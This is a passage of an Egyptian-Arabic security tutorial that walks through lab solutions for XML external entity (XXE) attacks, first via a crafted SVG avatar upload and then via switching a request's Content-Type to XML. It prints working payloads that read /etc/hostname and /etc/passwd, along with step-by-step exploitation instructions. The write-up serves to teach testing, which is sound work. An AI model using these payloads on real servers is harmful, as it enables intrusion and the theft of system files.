بمجرد ما تضغط Send، هتلاقي الـ Response رجعلك بـ 200 OK أو Error، وجواه محتوى ملف الـ /etc/passwd بالكامل. مبروك حل اللاب! (هو انا محتجتش أعمل URL Encode و اشتغل معايا بس ده كان علشان هو لاب بس في أرض الواقع هتحتاج تعمل URL Encode )
XXE attacks via file upload :
تخيل إنك بتعمل هانتينج في برامج الـ Bug Bounty زي Wickr، ولقيت خاصية بسيطة جداً لتغيير "صورة البروفايل" أو رفع ملفات عادية. في الطبيعي إنت مش هتشك إن في هنا ثغرة XXE لأن مفيش أي XML مبعوت في الطلب، صح؟ هنا بقى بتيجي فكرة الـ XXE via File Upload.
تعالى نفصص الفكرة دي عشان تضيفها لأسلحتك:
🖼️ السر كله في نوع الملف (XML-based Formats)
فيه ملفات إحنا بنتعامل معاها كل يوم على إنها صور أو مستندات، لكنها من جوه في الحقيقة مبنية بالكامل على لغة الـ XML. أشهر مثالين على ده:
-
صور الـ SVG (Scalable Vector Graphics): دي مش صور مكونة من بيكسلات زي الـ PNG أو الـ JPEG، دي عبارة عن كود XML بيرسم أشكال هندسية.
-
ملفات الـ DOCX أو XLSX: ملفات الوورد والإكسيل دي لو فكيت الضغط بتاعها (Unzip)، هتلاقيها من جوه عبارة عن مجموعة ملفات XML متجمعة مع بعض.
🧠 خدعة الـ Backend (ثغرة مكتبات الصور)
لما الموقع بيقولك "مسموح ترفع صور PNG أو JPEG بس"، إنت ممكن تغير امتداد ملف SVG وتخليه .jpeg وترفعه.
إيه اللي بيحصل في الكواليس؟ التطبيق بياخد الملف بتاعك ويبعته لمكتبة معالجة الصور في السيرفر (Image Processing Library زي ImageMagick أو Apache Batik) عشان مثلاً تعمل Resize للصورة أو تتأكد إنها سليمة.
المكتبات دي غالباً بتبقى متقبلة لملفات الـ SVG افتراضياً. ولأن الـ SVG هو في الأساس XML، المكتبة هتبدأ تقرأ الكود (Parsing) سطر سطر عشان ترسم الصورة. وهنا، لو السيرفر مش متأمن، هيقرأ الـ Payload الخبيث بتاعك اللي مستخبي جوه كود الرسم!
💣 إزاي بنستغلها؟ (The Execution)
إحنا بنكتب كود SVG بسيط جداً وظيفته إنه يرسم مربع أو نص، بس بنحط في أوله <!DOCTYPE> بيستدعي ملف /etc/passwd. وبنخلي الـ SVG بدل ما يكتب نص عادي جوه الصورة، يكتب محتوى المتغير اللي جاب الداتا من السيرفر.
لما السيرفر يعالج الصورة ويعرضها ليك في البروفايل، هتتفاجئ إن صورة البروفايل بتاعتك بقى مرسوم جواها محتوى ملف الباسوردات!
التكنيك ده بيعتبر من أقوى الـ Bypasses لو الموقع حاطط Firewalls عنيفة على الـ Requests العادية، لأنك بتدخل الـ Payload بتاعك جوه "صورة" وبتهربه من كل الدفاعات دي.
حل لاب Exploiting XXE via image file upload :
الهدف من اللاب: استغلال خاصية رفع الصور (Avatars) في التعليقات لرفع ملف SVG خبيث، لإجبار مكتبة معالجة الصور في السيرفر على قراءة ملف /etc/hostname ورسم محتواه كجزء من الصورة.
🕵️♂️ الميكانيكا (Behind the Scenes): ليه الـ SVG؟
في الكثير من الأحيان، تطبيقات الويب تسمح برفع الصور بصيغ معينة (مثل PNG و JPEG) ولكنها تعتمد في الكواليس على مكتبات معالجة صور (Image Processing Libraries) تدعم صيغة SVG افتراضياً.
الـ SVG (Scalable Vector Graphics) ليس صورة نقطية (Pixels) بل هو في الأساس مستند XML يحتوي على أوامر هندسية لرسم الأشكال والنصوص. وبما أنه يعتمد على XML، فيمكننا ببساطة حقن <!DOCTYPE> لتعريف كيان خارجي (External Entity) يقرأ ملفات النظام، ثم نأمر الـ SVG بطباعة هذا الكيان كنص مرسوم داخل الصورة.
عندما يعالج السيرفر الصورة لعرضها، سيقوم بتنفيذ كود الـ XML، ويقرأ الملف، ويرسم محتواه، وبذلك نسترد البيانات بمجرد عرض صورتنا الشخصية!
💣 الـ Payload المستخدم (The Malicious SVG)
افتح أي محرر نصوص عندك، وانسخ الكود ده جواه، واحفظ الملف باسم exploit.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
** تفكيك Payload :**
-
<!DOCTYPE test ...>: قمنا بتعريف كيان باسمxxeيقوم بقراءة مسار السيرفر/etc/hostname. -
<svg ...>: التيجان الأساسية لملف الـ SVG لتحديد أبعاده وإصدار الـ XML. -
<text ...>&xxe;</text>: هنا نأمر مكتبة معالجة الصور برسم نص عادي (Text)، ولكن بدلاً من كتابة نص ثابت، مررنا له الكيان&xxe;، ليقوم بطباعة محتوى الملف السري داخل الصورة بحجم خط 16.
خطوات التنفيذ (Exploitation Steps)
الخطوة 1: حقن الملف في التطبيق
-
ادخل على أي مقال (Blog Post) في موقع اللاب وانزل لخانة التعليقات.
-
املأ بيانات التعليق العادية (الاسم، الإيميل، الموقع).
-
في خانة رفع الصورة (Avatar)، اضغط Browse واختار ملف
exploit.svgاللي لسه مجهزينُه. -
اضغط Post Comment.
الخطوة 2: حصد الغنائم (Data Exfiltration)
-
بعد ما التعليق يتنشر، ارجع لنفس المقال وانزل للتعليق بتاعك.
-
هتلاقي الصورة الشخصية (Avatar) بتاعتك ظاهرة. اضغط عليها كليك يمين واختار "Open image in new tab" (أو ممكن تفتح الـ HTTP History في Burp Suite وتشوف الـ Response بتاع الصورة).
-
لما الصورة تفتح بحجمها الطبيعي، هتلاقي الـ Hostname بتاع السيرفر (مكون من حروف وأرقام عشوائية) مكتوب ومرسوم جوه الصورة نفسها!
الخطوة 3: إنهاء اللاب
-
انسخ الـ Hostname اللي ظهرلك في الصورة.
-
اطلع فوق في اللاب واضغط على زرار "Submit solution".
-
اعمل Paste للـ Hostname واضغط OK.
مبروك! اللاب هيعلم معاك "Solved" وإنت كده طبقت واحد من أذكى تكنيكات الـ File Upload Bypasses اللي ممكن تقابلها في مسارك.
XXE attacks via modified content type :
التكنيك ده بقى في عالم الـ Bug Bounty والـ Pentesting بنسميه "الاستغلال القائم على ذكاء السيرفر الزائد" (Content-Type Tampering). ده واحد من أسهل وأقوى الطرق اللي بتكشفلك Hidden Attack Surface لأنك بتجبر السيرفر يشتغل بنظام هو مش معلن عنه في الظاهر!
تعال نفصص الفكرة دي بالتفصيل الممل، عشان تفهم إيه اللي بيحصل في الكواليس وسر نجاح الخدعة دي.
🧠 المشكلة في الكواليس: الـ Framework الكسول!
لما المطور بييجي يبني موقع، بيستخدم مكتبات جاهزة (Web Frameworks) زي (Java Spring, Node.js Express, PHP, etc) عشان تستقبل البيانات وتتعامل معاها.
في الحالات العادية، لما بتملأ فورم على الموقع وتدوس Send، المتصفح بيبعت الطلب بصيغة: Content-Type: application/x-www-form-urlencoded والبيانات بتروح كالتالي: foo=bar
المطور وهو بيكتب الكود، بيكتب سطر زي ده مثلاً: $data = $request->getBody(); من غير ما يحدد إن السيرفر لازم يستقبل urlencoded بس!
هنا بقى بيحصل "الذكاء الزائد" من الـ Framework؛ الـ Framework المدمج في الخلفية بيبقى جواه ميزة اسمها Automated Body Parsing. الميزة دي بتقول: "أنا هبص على الـ Content-Type الـ مبعوتلي، لو لقيت المستخدم قايلي إنه باعت XML، أنا هحول نفسي تلقائياً لـ XML Parser وأقرا الكلام!".
🪓 إزاي الهاكر بيعمل الخدعة دي؟ (The Transformation)
تخيل إنك لقيت طلب رايح للسيرفر بالشكل الطبيعي ده:
HTTP
POST /action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
user=marwan&age=23
إنت كـ Pentester ذكي، هتاخد الطلب ده على الـ Burp Repeater وتعمل الآتي:
-
تغيير الهوية (Content-Type): هتحذف
application/x-www-form-urlencodedوتكتب مكانهاtext/xmlأوapplication/xml. -
إعادة صياغة البيانات (Reformatting): هتحول البارامترات العادية لتاجات XML بنفس الأسماء:
XML
<?xml version="1.0" encoding="UTF-8"?>
<user>marwan</user>
<age>23</age>
⚖️ النتيجة المحتملة:
-
سيناريو أ (السيرفر مؤمن): هيرد عليك بـ
415 Unsupported Media Typeأو400 Bad Request؛ يعني بيقولك أنا مابفهمش غير فورم. -
سيناريو ب (السيرفر مصاب بالثغرة المخفية): السيرفر هيعالج الطلب عادي جداً ويرد عليك بـ
200 OKوكأن مفيش حاجة حصلت! ده معناه إن الـ XML Parser الداخلي اشتغل وقرأ الداتا.
💣 مرحلة الـ Exploitation (تدمير السيرفر)
بمجرد ما تلاقي السيرفر وافق على تحويل الـ Content-Type لـ XML، إنت كده فتحت الباب المغلق. هتروح علطول حاقن الـ XXE Payload التقليدي في أول الملف بالشكل ده:
HTTP
POST /action HTTP/1.1
Host: target.com
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user>&xxe;</user>
<age>23</age>
السيرفر هيقرأ الـ XML، يشوف الـ DOCTYPE الخبيث، ينفذه، ويرجعلك ملف الباسوردات!
📝 كشكول الـ Obsidian (ملخص الحل الجاهز لـ نوتس بتاعتك)
اسم التكنيك: XXE via Content-Type Modification الفكرة الأساسية: استغلال عدم قيام المطور بتقييد (Restrict) نوع البيانات المدخلة، والاعتماد على الـ Framework الذي يقوم بتحويل صيغة المعالجة تلقائياً إلى XML بمجرد تغيير الـ Header.
خطوات الفحص عملياً (Methodology):
-
ارسل الطلب الطبيعي إلى Burp Repeater.
-
غير الـ
Content-Typeمنapplication/x-www-form-urlencodedإلىtext/xml. -
حوّل الـ Body من
key=valueإلى<key>value</key>. -
إذا استجاب السيرفر بشكل طبيعي (200 OK)، قم بحقن الـ
<!DOCTYPE>الخبيث واستخرج الملفات.